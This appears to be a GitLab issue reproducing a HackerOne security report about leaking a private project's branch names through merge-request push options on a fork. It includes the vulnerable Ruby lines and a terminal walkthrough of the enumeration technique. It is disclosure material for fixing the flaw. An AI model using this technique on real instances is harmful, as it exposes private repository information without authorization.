Private project branches can be leaked through a fork
**[HackerOne report #1710533](https://hackerone.com/reports/1710533)** by `shells3c` on 2022-09-23, assigned to @dcouture:
[Report](#report) | [How To Reproduce](#how-to-reproduce)
## Report
##### Summary
If you have a fork of a private/restricted project, you can easily scan for its branch names via [Push Options](https://docs.gitlab.com/ee/user/project/push_options.html) with that fork.
The problem is caused by [app/services/merge_requests/push_options_handler_service.rb:67](https://gitlab.com/gitlab-org/gitlab/-/blob/617cceedc09a61d8ffdf68caca2269b17209545d/app/services/merge_requests/push_options_handler_service.rb#L67)
```ruby
if push_options[:target] && !target_project.repository.branch_exists?(push_options[:target])
errors << "Target branch #{target_project.full_path}:#{push_options[:target]} does not exist"
```
It doesn't check if the user has the access to the project repository or not, therefore leaking the information unintentionally
##### Steps to reproduce
1. Victim creates a project, say `victim/project`
2. Attacker forks that project: `attacker/project`
3. Victim makes that project private
3. From the attacker's terminal:
```bash
$ git clone https://gitlab.instance/attacker/project.git
Cloning into 'project'...
remote: Enumerating objects: 52, done.
remote: Total 52 (delta 0), reused 0 (delta 0), pack-reused 52
Receiving objects: 100% (52/52), 5.50 KiB | 268.00 KiB/s, done.
Resolving deltas: 100% (6/6), done.
$ cd project
$ echo a > foo; git add -A; git commit -m .
...
$ # Let's check if this-branch-does-not-exist exists or not
$ git push -o merge_request.create -o merge_request.target=this-branch-does-not-exist
Username for 'https://gitlab.instance': attacker
Password for 'https://attacker@gitlab.instance':
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Delta compression using up to 8 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (2/2), 345 bytes | 345.00 KiB/s, done.
Total 2 (delta 1), reused 0 (delta 0), pack-reused 0
remote:
remote: ========================================================================
remote:
remote: WARNINGS: Error encountered with push options
remote: 'merge_request.create'
remote: 'merge_request.target=this-branch-does-not-exist': Target branch
remote: victim/project:this-branch-does-not-exist does not exist
remote:
remote: ========================================================================
remote:
To https://gitlab.instance/attacker/project.git
...
$ #The branch does not exist on victim/project, let's check if this-branch-exists exists or not
$ echo b > foo; git add -A; git commit -m .
...
$ git push -o merge_request.create -o merge_request.target=this-branch-exists
Username for 'https://gitlab.instance': attacker
Password for 'https://attacker@gitlab.instance':
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Delta compression using up to 8 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (2/2), 345 bytes | 345.00 KiB/s, done.
Total 2 (delta 1), reused 0 (delta 0), pack-reused 0
To https://gitlab.instance/attacker/project.git
...
$ #No error -> the branch exists
```
##### Output of checks
This bug happens on GitLab.com
#### Impact
Ability to enumerate branches of any private or [restricted](https://docs.gitlab.com/ee/user/admin_area/settings/visibility_and_access_controls.html#restrict-visibility-levels) project if you have access to at least a fork
## How To Reproduce
Please add [reproducibility information] to this section:
1.
1.
1.
[reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue